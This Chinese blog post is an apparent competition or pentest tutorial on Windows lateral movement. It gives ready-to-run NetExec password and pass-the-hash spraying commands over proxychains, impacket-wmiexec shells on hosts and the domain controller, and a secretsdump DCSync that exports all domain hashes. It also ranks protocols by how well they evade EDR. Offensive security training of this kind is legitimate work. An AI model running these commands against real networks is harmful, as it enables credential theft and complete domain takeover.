s0m1ng

二进制学习中

内网横向4:横向击杀与执行

原理简述

宏观类比:横向执行如同拿着上一步窃取来的“钥匙”(凭证),通过大楼内部合法的“员工通道”(系统原生管理协议)去直接开目标房间的门。不砸门(不利用漏洞)、不翻窗(不传木马),直接以合法主人的身份走进去。

技术定义:利用获取到的明文密码或 NTLM Hash,结合 Windows 原生远程管理协议(SMB、WMI、WinRM),在代理隧道的加持下,实现对内网目标主机的远程命令执行与权限接管(RCE)。

核心武器库准备与规范

在攻击机(Ubuntu)本地储备以下两款基于 Python 的协议级横向大杀器。

底层协议操控包:Impacket

最核心的横向工具集,将 Windows 闭源的 SMB/RPC/DCOM 协议用 Python 完全重写,支持在 Linux 下直接发起 Windows 认证。

1
2
3
sudo apt update
sudo apt install python3-impacket -y
# 核心调用脚本:impacket-psexec, impacket-wmiexec, impacket-smbexec

自动化横向喷洒工具:NetExec (原 CrackMapExec)

内网自动化撞库与横向移动的工业级标准工具(CME 的现代接替者),支持并发多线程协议探测与哈希传递。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mkdir -p ~/ISW_Workspace/Tools/Lateral/NetExec && cd ~/ISW_Workspace/Tools/Lateral/NetExec

# 下载 Linux 编译好的单文件版 (官方目前将其打包成了 zip)
wget https://github.com/Pennyw0rth/NetExec/releases/latest/download/nxc-ubuntu-latest.zip

# 解压获取二进制文件
unzip nxc-ubuntu-latest.zip
chmod +x nxc

# 移动到系统路径,使其在任何目录下均可直接通过 nxc 命令调用
sudo mv nxc /usr/local/bin/nxc

# 验证安装
nxc --version

工作组环境横向战术

架构研判:目标机器之间互不信任,无集中化管理。 核心打法:密码复用喷洒 (Password Spraying)。即假设网管为了运维方便,所有机器的本地 Administrator 密码完全一致。

NetExec 自动化密码/哈希喷洒 (批量撞库)

利用上一步抓到的本地管理员凭证,对 <目标内网网段> 进行并发 SMB 登录尝试。

明文密码喷洒:

1
proxychains4 nxc smb <目标内网网段> -u <本地用户名> -p '<明文密码>' --local-auth

哈希传递 (PtH) 喷洒:

1
proxychains4 nxc smb <目标内网网段> -u <本地用户名> -H <NTLM_Hash> --local-auth
  • 技术解析--local-auth 强制指定为本地 SAM 认证而非域认证。回显中标记为 Pwn3d! 的 IP,即代表凭证复用成功,已获取最高控制权。

Impacket 建立交互式 Shell (单点突破)

针对喷洒成功的 <目标内网IP>,建立远程命令行会话。

1
proxychains4 impacket-wmiexec <本地用户名>@<目标内网IP> -hashes 00000000000000000000000000000000:<NTLM_Hash>
  • 技术解析:WMI 协议(TCP 135 及高端口)基于 RPC 调用,无实体文件落地,隐蔽性极高,规避了传统 PsExec 在目标机器产生 PSEXESVC 服务的特征报警。

域环境横向战术

架构研判:存在集中认证中心 (DC),域账户的凭据缓存在任意登录过的机器内存中。 核心打法:哈希传递 (PtH) 直击域控,或寻找域管进程进行令牌窃取。终极目标是接管 DC,执行 DCSync 导出全域哈希 (NTDS.dit)。

定向哈希传递 (PtH) 击杀域控

如果上一步在跳板机抓到了属于 Domain Admins (域管组)<域管用户名><NTLM_Hash>,直接利用代理对 <域控内网IP> 发起斩首行动。

1
proxychains4 impacket-wmiexec <目标域名>/<域管用户名>@<域控内网IP> -hashes 00000000000000000000000000000000:<NTLM_Hash>
  • 技术解析:注意用户名格式必须前置 <目标域名>/ 声明域身份验证。通过 NTLM 协议将哈希直接提交给目标机器的 LSA 进行响应计算,无需破解明文即可获取 SYSTEM Shell。

DCSync 全域接管 (终局清场)

在成功获取域控的交互式 Shell 后,你已经拥有域的最高权限。使用 secretsdump 模拟域控同步协议,直接导出全域所有用户的哈希。

1
proxychains4 impacket-secretsdump <目标域名>/<域管用户名>@<域控内网IP> -hashes 00000000000000000000000000000000:<NTLM_Hash> -just-dc
  • 技术解析-just-dc 触发 DRSUAPI (目录复制服务 RPC),迫使 DC 吐出包括 krbtgt 在内的所有核心账户哈希。至此,内网宣告彻底沦陷。

横向执行协议隐蔽性分级

实战中必须根据目标主机的杀软级别(EDR/AV)选择合适的横向协议。

  1. WinRM 协议 (最隐蔽 / evil-winrm)

    • 依赖端口:TCP 5985 (HTTP) / 5986 (HTTPS)

    • 特征:完全基于系统原生 PowerShell 远程管理,极其干净,无任何告警。若端口开放,首选

  2. WMI 协议 (隐蔽 / wmiexec)

    • 依赖端口:TCP 135 及 49152-65535 (动态 RPC)

    • 特征:无二进制文件落地,无新服务创建日志。次选

  3. SMB 协议 (极度嘈杂 / psexec)

    • 依赖端口:TCP 445

    • 特征:必须通过 ADMIN$ 共享上传可执行文件,并调用 Service Control Manager 创建服务。必然触发 Windows Event ID 7045 及杀软拦截。仅在无杀软或降级攻击时使用

赛场异常处置规范

  1. 工作组横向提示 Access Denied (UAC 拦截)

    • 痛点:在工作组环境中,即使你掌握了目标机的本地管理员组用户(非内建 Administrator)的正确密码,通过 WMI/SMB 登录依然被拒。这是因为 Windows UAC 的 LocalAccountTokenFilterPolicy(本地账户令牌过滤策略)默认剥夺了网络登录的管理员权限。

    • 规范应对:仅内建的 Administrator 账户(RID 500)不受此 UAC 策略限制。工作组横向必须优先喷洒 Administrator 账户。

  2. WMI 协议挂代理执行卡死 (RPC 动态端口不通)

    • 痛点:WMI 认证初期使用 135 端口协商,但后续通信会随机分配一个高危动态端口(如 49154)。如果内网防火墙阻断了高端口,或者 SOCKS5 代理对多路 RPC 转发处理异常,wmiexec 会长时间无响应。

    • 规范应对:若 wmiexec 卡死,降级使用 impacket-smbexec。该工具纯依赖 TCP 445 端口进行命令执行与回显读取,无需动态端口支持。

您的支持将鼓励我继续创作!

欢迎关注我的其它发布渠道